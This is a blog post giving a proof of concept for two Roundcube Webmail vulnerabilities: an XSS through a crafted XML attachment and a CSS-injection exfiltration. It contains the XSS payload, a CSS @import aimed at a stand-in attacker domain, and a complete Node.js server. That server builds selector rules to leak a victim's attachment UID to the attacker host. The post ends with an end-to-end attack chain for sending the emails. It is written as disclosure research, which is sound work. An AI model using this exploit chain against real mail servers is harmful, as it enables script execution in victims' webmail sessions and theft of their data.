CVE-2024-42008 and CVE-2024-42010 POC
2025-02-13You can check the GitHub repository here. Also shout-out to Jim for staying after-hours to help on the CSS exfiltration.
Proof of Concept: CVE-2024-42008 and CVE-2024-42010
This proof of concept (PoC) demonstrates the exploitation of two vulnerabilities in Roundcube Webmail version 1.6.7 and below, and in version 1.5.7 and below that enable CSS injection and a cross-site scripting (XSS). The attack consists of two stages:
XSS via malicious XML attachment (CVE-2024-42008)
Because of insufficient file upload checks, an XML file can be sent as an attachment with JavaScript code e.g.
<something:script xmlns:something="<http://www.w3.org/1999/xhtml>">
alert(origin)
</something:script>
This was a known issue and tracked as CVE-2020-13965 and the mitigation was to disable the "Open attachment" option. But the file can still be accessed through the endpoint
<https://roundcube.host.com/?_task=mail&_mbox=INBOX&_uid=[UID]&_part=2&_download=0&_action=get>
Where UID is the unique identifier for this particular attachment in this particular mailbox (i.e. INBOX).
HTML exfiltration via CSS injection (CVE-2024-42010)
When sending an email, it is possible to injection your own CSS file, when hosted in a domain that starts with a. Through that and a JavaScript server file that processes the requests made by the vulnerable Roundcube host, it is possible to extract the UID of the malicious XSS attachment.
Import the CSS in a sent email with
<style>
@import "//a.attackerdomain.com/start?"
</style>
Host the JS server that exfiltrates the UID of the malicious attachment
// Research: <https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf>
// Original code: <https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231>
const https = require('https');
const http = require('http'); // For HTTP to HTTPS redirection (optional)
const url = require('url');
const fs = require('fs');
const port = 443; // Default HTTPS port
const HOSTNAME = "<https://a.attackerdomain.com>";
const DEBUG = false;
var prefix = "", postfix = "";
var pending = [];
var stop = false, ready = 0, n = 0;
// SSL certificates
const options = {
key: fs.readFileSync('/etc/letsencrypt/live/[a.attackerdomain.com]/privkey.pem'),
cert: fs.readFileSync('/etc/letsencrypt/live/[a.attackerdomain.com]/fullchain.pem')
};
const requestHandler = (request, response) => {
let req = url.parse(request.url, url);
log('\\treq: %s', request.url);
if (stop) return response.end();
switch (req.pathname) {
case "/start":
genResponse(response);
break;
case "/leak":
response.end();
if (req.query.pre && prefix !== req.query.pre) {
prefix = req.query.pre;
} else if (req.query.post && postfix !== req.query.post) {
postfix = req.query.post;
} else {
break;
}
if (ready == 1) {
genResponse(pending.shift());
ready = 0;
} else {
ready++;
log('\\tleak: waiting others...');
}
break;
case "/next":
console.log(n)
if (ready == 1) {
genResponse(response);
ready = 0;
} else {
pending.push(response);
ready++;
log('\\tquery: waiting others...');
}
break;
case "/end":
stop = true;
console.log('[+] END: %s', req.query.token);
default:
response.end();
}
}
const genResponse = (response) => {
console.log('...post-payload: ' + postfix);
let css = '@import url(' + HOSTNAME + '/next?' + Math.random() + ');' +
[1,2,3,4,5,6,7,8,9,0,'='].map(e => ('a[id=rcmbtnfrm100][href*="_uid=' + postfix + e + '"]{--e'+n+':url(' + HOSTNAME + '/leak?post=' + postfix + e + ')}')).join('') +
'div '.repeat(n) + 'a{background:var(--e'+n+')} ' +
'a[id=rcmbtnfrm100][href='+ postfix + prefix + ']{list-style:url(' + HOSTNAME + '/end?token=' + postfix + prefix + '&)};';
response.writeHead(200, { 'Content-Type': 'text/css' });
response.write(css);
response.end();
n++;
}
// HTTPS server
const server = https.createServer(options, requestHandler);
server.listen(port, (err) => {
if (err) {
return console.log('[-] Error: something bad happened', err);
}
console.log('[+] HTTPS Server is listening on %d', port);
});
// redirect HTTP traffic
http.createServer((req, res) => {
res.writeHead(301, { "Location": "https://" + req.headers['host'] + req.url });
res.end();
}).listen(80);
function log() {
if (DEBUG) console.log.apply(console, arguments);
}
Attack Chain
- Host in your domain the JavaScript server
- Send an email with a malicious XML attachment and import the CSS from your domain
- The victim opens the email and the UID gets exfiltrated
- Then, depending on the preferred way of the XSS delivery you can either send a second email with the attachment link or redirect the user through there.